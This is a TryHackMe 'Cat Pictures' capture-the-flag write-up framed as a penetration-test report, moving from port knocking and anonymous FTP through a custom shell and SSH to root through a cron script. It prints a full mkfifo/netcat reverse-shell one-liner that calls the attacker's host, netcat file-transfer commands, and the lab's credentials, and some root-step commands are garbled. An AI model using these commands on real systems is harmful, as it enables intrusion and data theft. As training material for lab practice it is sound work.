TryHackMe penetration test raport, Cat Pictures room

General Info and Goals

The purpose of the test is to find vulnerabilities that allow access to the machine on the given IP address, and to obtain the highest permissions in the tested environment by finding and using vulnerabilities that enable. Based on the results of the report, corrective actions are suggested.

Our initial scan reveals several open and filtered ports. After find phpBB running on one of them, from there finding clues to a port knocking sequence which opens an anonymous FTP service. We find credentials to access a custom shell running on another port, which leads us to a password protected executable. A Netcat reveals a password, and the output is a private RSA key. We use this to access a docker container via SSH. From there we escape to the underlying host to gain our final flag.

Tools used

- Metasploit
- Nmap
- Anonimus
- Netcat (nc)
- Nano
- Python3

Process

a) Initial Recon.The first step was to scan the ports on the machine with the given IP using the nmap and Metasploit program.

b) phpBB Checking the service on port `8080/tcp` by the browser.

c) Anonymous FTP. We now see port 21 hosting FTP has opened, and there is anonymous logins allowed. Let's go look at the file the scan found.

d) Internal Shell. We've found credentials for the service we saw earlier running on port 4420. We can use Netcat program to access to Internal Shell the target machine.

e) Custom Executable. Let's try the executable again:

```
# cd /home/catlover
# ls -l
# ./runme
Please enter yout password: 12345
Access Denied
```

So we can run the executable, but still need to find a password. The next logical step here is to copy the file to my Kali machine and analyse it.

On Kali we start a new netcat session listening on a spare port and tell it to redirect what is sent to it to a file `nc -v -l -p 1234 -q 1 > runme`
Switch back to Kali, to close the session and we will have the file `nc -w 3 <IP> 1234 < /home/catlover/runme`

f) SSH Access. The key is written to /home/catlover/id_rsa and once we have it we can use port SSH in:

```
nano id_rsa
```

```
chmod 400 id_rsa
```

```
ssh -i id_rsa catlover@<IP>
```

g) Root. The root part isn't a traditional Docker container escape. There is a root script running on a cron job, and it runs in the host `shell /opt/clean# ls -lash`.

Results

a) Our initial scan reveals several ports. We can see FTP on port 21 is being filtered by a firewal. We have SSH on port 22 and Apache running on port 8080. There's also something on port 4420, the fingerprint of the service suggests it's some sort of internal shell.

b) On the port `8080/tcp` by the browser we find a bulletin board set up for us to share our cat pictures. We find there is only one post. This is a clear clue that we need to use port knocking to progress.

c) After open the file we get some information `ftp> get note.txt`.
In case I forget my password, I'm leaving a pointer to the internal shell service on the server.

Connect to port `4420`, the password is sardinethecat.
`catlover`

d) That worked and we're in the server but with a limited shell.
Using the upgraded a better shell `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 4444 >/tmp/f` having looked we can see all the needed commands are there.

e) So we can run the executable, but still need to find a password. The next logical step here is to copy the file to my Kali machine and analyse it.
Now back on the server we send the file to Kali by redirecting it using netcat that is on there:

```
nc -w 3 <IP> 1234 < /home/catlover/runme
```

```
strings runme
```

```
 /home/catlover/runme
 password: rebecca
```

Once I get the file, strings is all that's required:

```
—# strings runme
# etc
rebecca
Please enter yout password:
Welcome, catlover! SSH key transfer queued!
Access Denied
# more etc
```

So let’s do that:

```
# ./runme
Please enter yout password: rebecca
Welcome, catlover! SSH key transfer queued
```

f) And at this point we are root in a Docker container and we can get Flag.txt.

g) We can edit it, so I just add a bash reverse shell `shell nc -nvlp 1234` line and wait a minute.

```
# cd /root
# ls -lash
cat root.txt
```

```
root@cat-pictures:~# cat root.txt
cat root.txt
Congrats!!!
Here is your flag:

GO_GET_IT_YOURSELF
root@cat-pictures:~#
```

Summary and suggested corrective actions

Hiding the names of services and software, if it is possible to disable SSH port 22 and FTP port 21 or disable anonymous login on FTP port 21 and hide service information on Apache port port 8080. If the existence of the FTP service is necessary, it must be updated and it is necessary to disable the possibility of editing and inserting own files by an anonymous user. Disabling the ability to run and modify files on port 21 FTP, 8080 TCP and 4420.